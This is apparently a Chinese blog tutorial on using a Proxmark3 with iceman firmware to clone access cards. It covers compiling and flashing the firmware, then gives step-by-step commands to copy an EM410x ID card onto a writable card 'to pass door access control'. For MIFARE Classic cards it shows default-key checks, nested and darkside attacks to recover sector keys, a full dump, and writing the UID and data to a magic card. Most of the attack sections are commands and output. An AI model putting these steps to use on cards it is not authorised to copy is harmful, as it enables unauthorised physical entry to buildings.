ProxMark3 复制IC卡,ID卡
本文最后更新于684天前,其中的信息可能已经有所发展或是发生改变。

一、Kali Linux下ProxMark3客户端的编译和升级

以iceman的固件为例,iceman的固件提供了更多的特性,更新也更快。

1.安装依赖

sudo apt-get install p7zip git build-essential
sudo apt-get install libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config 
sudo apt-get install wget libncurses5-dev gcc-arm-none-eabi

2.复制iceman仓库,编译客户端

cd ~ ##切换到用户目录
git clone https://github.com/iceman1001/proxmark3.git ##克隆仓库
cd /proxmark3 ##进入目录
git pull ##更新仓库,后续升级可以直接从这一步开始
make clean && make all ##编译仓库

3.升级ProxMark3的固件

很多新手都会被所谓老鸟或者商家警告,不要自己刷固件,不要刷boot,容易让PM3变砖。实际上,一旦遇到固件升级失败,或者刷了相互不匹配的boot和image,只需要插拔PM3和刷固件的时候,按住PM3上的按钮进行强刷。在windows下面,遇到固件出错,电脑不识别的时候,也是只要一直按住PM3上的按钮即可把固件强刷到PM3里面。

sudo client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf
##调用client文件夹里的flasher刷写程序写入固件,先写入boot
client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf
##刷入镜像文件

其中设备的接口ACM0,通过下面的命令查看

dmesg | grep -i usb

如果是老版本的驱动,会采用HID的方式连接,需要升级成新版本的CDC方式。

二、ID和IC卡的复制攻击

1.判断卡类型的技巧

##进入proxmark3客户端
client/proxmark3 /dev/ttyACM0
hw tune
##测试信号是否正常,回显结果如下
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...          
....          
[+] LF antenna: 24.08 V - 125.00 kHz          
[+] LF antenna: 21.10 V - 134.00 kHz          
[+] LF optimal: 24.50 V - 126.32 kHz          
[+] LF antenna is OK           
[+] HF antenna: 15.37 V - 13.56 MHz          
[+] HF antenna is OK          
          
[+]  Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.          
pm3 --> 

没有放入任何卡的时候,高频天线的电压是15.37V,或者根据实际情况有所不同,这是高频天线的非工作电压。

##放入高频卡时的电压变化
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
...
[+] LF antenna: 24.08 V - 125.00 kHz          
[+] LF antenna: 21.10 V - 134.00 kHz          
[+] LF optimal: 24.50 V - 126.32 kHz          
[+] LF antenna is OK 
[+] HF antenna: 14.20 V - 13.56 MHz          
[+] HF antenna is OK                    
[+]  Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

电压下降了1V多,如果放在高频天线上的是低频卡,电压变化幅度不大。利用这个方法,可以简单的判断一下卡的类型。

pm3 --> hw tune          
[=] measuring antenna characteristics, please wait...          
....          
[+] LF antenna: 24.08 V - 125.00 kHz

[+] LF optimal: 24.50 V - 126.32 kHz          
[+] LF antenna is OK 
   
[+] HF antenna: 15.74 V - 13.56 MHz          
[+] HF antenna is OK                    
[+]  Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

2.ID卡(低频:LF)复制

ID卡是出厂时写死ID,不可修改的低频卡。一般ID卡,仅仅是判断该卡的ID是否在数据库中,在就放行,不在就拒绝。所以只要把ID卡的ID写入到可复制的ID中,就可以过门禁。

##将ID卡放到proxmark3的低频天线上。
##读取ID的信息,其中lf是指采用低频工具包
pm3 --> lf search
NOTE: some demods output possible binary
  if it finds something that looks like a tag          
False Positives ARE possible
Checking for known tags:

[+] Valid EM410x ID Found!

从回显结果,可以获知卡的类型是EM410x,EM ID是08003C9F5F。接着直接写入新卡

if em 410x_write工具写入,最后1和64是写入的数据块大小

pm3 --> lf em 410x_write 08003C9F5F 1 64

#db# Clock rate: 64

3.IC卡复制

1读卡:hf 14a info

pm3 --> hf 14a info
 UID : 15 54 C6 AC           
ATQA : 00 04

[=] Answers to magic commands: NO          
[+] Prng detection: WEAK          
pm3 --> 

可以得到这张卡的UID是1554C6AC,卡的类型是mifare c1,即m1卡,存储空间时1k

2.破解卡的加密信息:弱口令测试
很多m1的卡,都采用出厂的弱口令,可以直接试出密码信息
hf mf chk *1 ? t

pm3 --> hf mf chk *1 ? t

Found keys have been transferred to the emulator memory   

回显的标识key a,key b就是每个扇区的密码,接着可以利用nested攻击,获取所有扇区的密码

2.破解卡的加密信息:darkside攻击
另外一种获取扇区密码的方式,如果不是冰人固件,修改为mfare
hf mf darkside

pm3 --> hf mf darkside

得到一个有效的秘钥

[+] saving keys to binary file hf-mf-1554C6AC-key.bin...  

获取全扇区的秘钥,并把二进制文件保存为*.bin,此时可以读取每一个扇区的数据

4.读取全扇区数据
hf mf dump

pm3 --> hf mf dump

[+] dumped 64 blocks (1024 bytes) to file hf-mf-1554C6AC-data.bin   

成功写入文件

5.设置新卡uid,并写入全部数据完成复制
把可写的IC卡放到高频天线上,先写入读卡时获得的uid,再写入全扇区数据。

hf mf csetuid xxxxxxxx w
hf mf restore
